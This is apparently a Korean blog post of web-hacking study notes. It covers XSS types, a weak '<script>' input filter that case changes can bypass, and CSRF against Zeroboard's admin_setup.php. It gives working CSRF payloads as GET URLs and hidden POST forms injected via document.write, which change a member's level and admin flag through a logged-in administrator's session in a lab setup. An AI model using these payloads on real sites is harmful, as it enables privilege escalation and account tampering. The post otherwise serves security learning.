본문 바로가기
프로그래밍/WEB HACKING

[WEB HACKING] XSS 종류 및 차단 방법( 입력값 검증 ) / CSRF( Cross Site Request Forgery ) 취약점 개념

by B T Y 2017. 8. 30.
반응형

XSS 종류 및 차단 방법( 입력값 검증 ) / CSRF( Cross Site Request Forgery ) 취약점에 대해서 정리한다.



XSS 종류


1). stored XSS


  - 게시글, 쪽지, 회원정보, ...


2). reflected XSS


  - 입력값이 그대로 되돌아오면서 스크립트가 실행


  - 링크: shorten url을 이용해서 script를 감추는 방법



1. 기존의 보안 방식


1). 솔루션의 이용: 방화벽, 웹 방화벽, IPS, IDS, 백신, ...


  - 가장 오래된 전통적인 보안 방식

  - 완벽하진 않지만 최소한의 보안을 위해서 사용한다..

   ( 예를 들어 우리가 집에서 나올때 현관문을 잠그고 나오는 것과 비슷한 개념이라고 보면 된다 )



2). 보안 패치



! 일반적인 개발 과정


  기획 -> 설계 -> 구현 -> 배포 -> 유지보수



! 시큐어 코딩


  - 개발 과정 전체에서 보안 취약점을 없애는 개발 방식



XSS 차단: 게시글의 본문


  - 입력값 검증


"<script>"


  !! 입력값 검증을 한다고 해도 완벽하지 않다.

     ( 예를 들면 문자열 매칭을 통한 입력값 검증을 할때 대문자나 소문자로 우회가 가능해진다 )




( 간단한 입력값 검증이지만 시큐어 코딩이라는게 어떤것인지를 이해하기 위해서 입력값 검증을 만들어 봤다.. )



( 위 입력값 검증은 <script> 문자가 들어있으면 게시글 작성을 못하지만 <SCRIPT>와 같이 대문자를 이용하거나

해당 검증 문자와 대소문자가 하나라도 다르다면 다른 문자로 인식해서 우회가 가능하다.. )






1. 클라이언트측 언어를 이용한 취약점: javascript, html


1). CSRF( Cross Site Request Forgery )


  - 교차 사이트 요청 위조

  - html 태그를 이용한 방법

  - XSS 공격의 변종 기법중의 하나



2). 소스분석을 통한 입력값 확인


1)). GET


- 소스 코드 분석으로 얻어낸 정보


/zboard/admin_setup.php


page=1

group_no=1

exec=view_member

page_num=10

exec2=moveall

cart[]=2

movelevel=1


- GET 방식으로 보내는 데이터


/zboard/admin_setup.php?page=1&group_no=1&exec=view_member&page_num=10&exec2=moveall&cart[]=2&movelevel=1




( 웹 해킹을 하기 전에는 항상 해당 페이지에 대한 소스 분석이 선행 되어야 하고 

눈에 보이는 부분에만 집중하면 안된다!!! )



( GET 방식을 이용할때 데이터를 보내는 방법은 일반 GET 방식과 동일하고 여기서 중요한건

소스 분석을 통해서 전송 버튼을 눌렀을때 어떤 데이터가 어떻게 전달되는지를 알아내는게 중요하다!! )



( GET 방식으로 데이터를 보내주면 원하는 레벨로 사용자의 레벨이 변경이 된걸 확인 할 수 있다 )



2)). POST


- 소스 코드 분석으로 얻어낸 정보를 가지고 데이터 전송을 위한 폼 만들기


<form method=POST action='http://192.168.12.100/zboard/admin_setup.php'>


<input type=hidden name=page value=1>

<input type=hidden name=group_no value=1>

<input type=hidden name=exec value=view_member>

<input type=hidden name=page_num value=10>

<input type=hidden name=exec2 value=moveall>

<input type=hidden name=cart[] value=2>

<input type=hidden name=movelevel value=5>

<input type=submit>


</form>


- POST 방식으로 보내는 데이터


document.write("<form method=POST action='http://192.168.12.100/zboard/admin_setup.php'><input type=hidden name=page value=1><input type=hidden name=group_no value=1><input type=hidden name=exec value=view_member><input type=hidden name=page_num value=10><input type=hidden name=exec2 value=moveall><input type=hidden name=cart[] value=2><input type=hidden name=movelevel value=3><input type=submit>");




( 제로보드에서는 POST 방식으로 진행 할때는 관리자 메인 페이지에서 진행을 해야 오류가 나지 않고 정상적으로 실행이 된다 )



( 이 부분을 잘 생각해보면 해당 페이지에 회원 권한에 따라서 버튼을 없앤다고해서 정보 변조에 안전하다고 볼수 없다... )



( 위와 같이 POST 방식으로도 해당 폼 버튼이 없다고해도 회원의 정보를 변경 할 수 있는걸 알 수 있다.. )


!! 다만, 여기서 회원 정보를 바꿀 수 있었던 이유는 관리자 아이디로 로그인이 되어있기 때문에 

서버로부터 해당 세션으로 관리자 인증을 했기 때문에 관리자 권한을 사용할 수 있었다는점을 기억해야한다.


!! 그렇다면 여기서 관리자 권한으로 어떻게 해당 요청을 보낼수 있는지를 생각해봐야 한다.



 - modify 페이지 CSRF


1)). GET



- 소스 코드 분석을 통해 얻어낸 정보


/zboard/admin_setup.php


exec=view_member

exec2=modify_member_ok

group_no=1

member_no=2

page=1

keyword=

level=1

name="sc"

is_admin=1

email="none"

homepage="http://none"

icq=

mailing=1

openinfo=1

comment=


- GET 방식으로 보내는 데이터


/zboard/admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=1&member_no=2&page=1&keyword=&level=1&name=1&is_admin=1&email="none"&homepage="http://none"&icq=&mailing=1&openinfo=1&comment=



2)). POST


- 소스 코드 분석을 통해 얻어낸 정보


<form method=POST action='http://192.168.12.100/zboard/admin_setup.php'>


<input type=hidden name=exec value=view_member>

<input type=hidden name=exec2 value=modify_member_ok>

<input type=hidden name=group_no value=1>

<input type=hidden name=member_no value=2>

<input type=hidden name=page value=1>

<input type=hidden name=keyword>

<input type=hidden name=level value=3>

<input type=hidden name=name value='sc'>

<input type=hidden name=is_admin value=2>

<input type=hidden name=email value='none'>

<input type=hidden name=homepage value='http://none'>

<input type=hidden name=icq>

<input type=hidden name=mailing value=1>

<input type=hidden name=openinfo value=1>

<input type=hidden name=comment>

<input type=submit>


</form>


- POST 방식으로 보내는 데이터


document.write("<form method=POST action='http://192.168.12.100/zboard/admin_setup.php'><input type=hidden name=exec value=view_member><input type=hidden name=exec2 value=modify_member_ok><input type=hidden name=group_no value=1><input type=hidden name=member_no value=2><input type=hidden name=page value=1><input type=hidden name=keyword><input type=hidden name=level value=1><input type=hidden name=name value='sc'><input type=hidden name=is_admin value=1><input type=hidden name=email value='none'><input type=hidden name=homepage value='http://none'><input type=hidden name=icq><input type=hidden name=mailing value=1><input type=hidden name=openinfo value=1><input type=hidden name=comment><input type=submit>");







반응형

댓글